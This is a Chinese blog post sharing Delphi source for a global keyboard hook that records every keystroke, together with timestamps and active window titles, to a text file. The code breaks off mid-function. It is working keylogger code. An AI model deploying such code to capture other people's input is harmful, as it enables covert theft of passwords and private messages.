Delphi 全局键盘钩子(Exe)

这个Delphi单元主要是把键盘按键保存在堆栈线性队列中,可以在软件界面自己查看按键内容,同时还保存了按键信息在c:\logfiles.txt的文本文件中,方便以后的查看。。。

安装全局钩子函数  KeyLogHook := SetWindowsHookEx(WH_jOURNALRECORD,KeyLogProc,HInstance,0);卸载钩子函数是   UnhookWindowsHookEx(KeyLogHook);

       使用过程中好像有点问题,软件开机自启动的时候,会让Lingoes的启动无法正常启动,提示内存访问错误什么的,有时候莫名其妙钩子会失效,截获不了键盘按键,可能用dll的好点吧。。。

 unit UntHook;

 
interface
Uses windows,Messages,Classes,SysUtils,Dialogs,Variants;
Const
  _KeyPressMask = $80000000;
  Enter = #13#10;
var
  KeyLogHook: HHook = 0;
  HLastFocus: HWnd = 0;
  PrvChar: Char;
  HookList:TStringList;
  hookkey:String;
  hNextHookProc:HHOOk;
    //logtxt:TextFile;
  sFileName:string='c:\logfile.txt';
 
  function KeyLogProc(nCode:Integer;wParam,lParam:longint):LRESULT;stdcall;export;
  function EnableHotKeyHook:Bool;stdcall;export;
 
implementation
uses
  UntMain;
 
function KeyLogProc(nCode:Integer;wParam,lParam:longint):LResult;stdcall;
{Const
  sFileName = 'c:\logfile.txt'; }
 
var
  stream:TextFile;
  ch:Char;
  vKey:Integer;
  HFocus:HWND;
  Title:array[0..255] of Char;
  str:array[0..12] of char;
  stmp,stime:string;
  tfLogFile:TextFile;
  pEvt:^EVENTMSG;
  nCapital,nNumLock,nShift:Integer;
  isshift,isCapital,isNumLock:boolean;
 
begin
  sFileName := FrmMain.EditLogPositon.Text;
  //AssignFile(logtxt,Trim(FrmMain.EditLogPositon.Text));
  if nCode < 0 then
  begin
    Result := CallNextHookEx(KeyLogHook, nCode, wParam, lParam);
    exit;
  end;
  if (nCode = HC_ACTION) then
  begin
    pEvt := Pointer(DWord(lParam));
    AssignFile(Stream,sFileName);
    if not FileExists(sFileName) then
      ReWrite(Stream)
    else
      Append(Stream);
    HFocus := GetActiveWindow;
    if HLastFocus <> HFocus then
    begin
      if hookkey <> '' then
      begin
        HookList.Add(hookkey);
      //  Append(LogTxt);
        WriteLn(stream,hookkey);
        hookkey := '';
      end;
      HookList.Add('------End------');
      WriteLn(stream,'------------结束-------------');
      HookList.Add('------Begin------');
      WriteLn(stream,'------------开始-------------');
  //    close(logtxt);
      GetWindowText(HFocus,Title,256);
      HLastFocus := HFocus;
      sTime := DatetimeToStr(Now);
      HookList.Add(sTime + Format('Title:%s',[Title]));
      WriteLn(Stream,sTime + Format('Title:%s',[Title]));
    end;
 
    if pEvt.message = WM_KEYDOWN then
    begin
      vKey := LOBYTE(pEvt.paramL);
      nShift := GetKeyState($10);
      nCapital := GetKeyState($14);
      nNumLock := GetKeyState($90);
      isShift  := ((nShift and _KeyPressMask)=_KeyPressMask);
      isCapital := ((nCapital and 1) = 1);
      isNumLock := ((nNumLock and 1) =1 );
 
      if ((vKey >=48) and (vKey <=57)) then
      begin
        ch := Char(vKey);
      end
原文地址:https://www.cnblogs.com/MaxWoods/p/3137118.html